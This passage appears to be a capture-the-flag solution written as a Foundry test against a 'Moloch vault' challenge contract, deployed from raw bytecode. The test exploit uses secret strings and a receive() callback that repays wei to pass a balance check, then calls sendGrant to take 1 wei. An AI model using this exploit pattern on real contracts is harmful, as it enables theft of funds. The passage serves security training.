4a566ffadc771d64736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb20000000000000000000000004b20993bc481177ec7e8f571cecae8a9e22c02db00000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000011424c4f4f445920504841524d414349535400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000a57484f20444f20594f5500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000653455256453f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000054b434c45510000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009424754474a514e4750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000115a4a515142572a4e4643504b43414b5152000000000000000000000000000000"; 119 | address vault_; 120 | assembly { 121 | vault_ := create(0, add(all, 0x20), mload(all)) 122 | } 123 | vault = MOLOCH_VAULT(payable(vault_)); 124 | 125 | // give vault 1 wei 126 | vm.deal(address(vault), 1 wei); 127 | // give this contract(the attacker) 10 wei 128 | vm.deal(address(this), 1 wei); 129 | 130 | vm.stopPrank(); 131 | } 132 | 133 | function testhack() public { 134 | string[3] memory openSecret; 135 | 136 | openSecret[0] = "BLOODY PHARMACIST"; 137 | openSecret[1] = "WHO DO YOUSERVE?"; 138 | openSecret[2] = ""; 139 | 140 | payBack = true; // need to repay 2 wei to bypass the balance check 141 | vault.uhER778(openSecret); // this should register us as `realHacker` 142 | 143 | payBack = false; // don't pay back 2 wei when receive 1 wei 144 | vault.sendGrant(payable(this)); // get back 1 wei that we send in the `receive()` previously 145 | vault.sendGrant(payable(this)); // steal 1 wei 146 | 147 | // we have 1 wei in the first place, after stealing 1 wei, now we should have 2 wei 148 | require(address(this).balance == 2 wei, "steal 1 wei fail"); 149 | } 150 | 151 | bool payBack; 152 | receive() external payable { 153 | if(payBack) { 154 | (bool success, ) = address(msg.sender).call{value:2 wei}(""); 155 | require(success, "call fail"); 156 | } 157 | } 158 | } 159 | 160 | ``` 161 | --------------------------------------------------------------------------------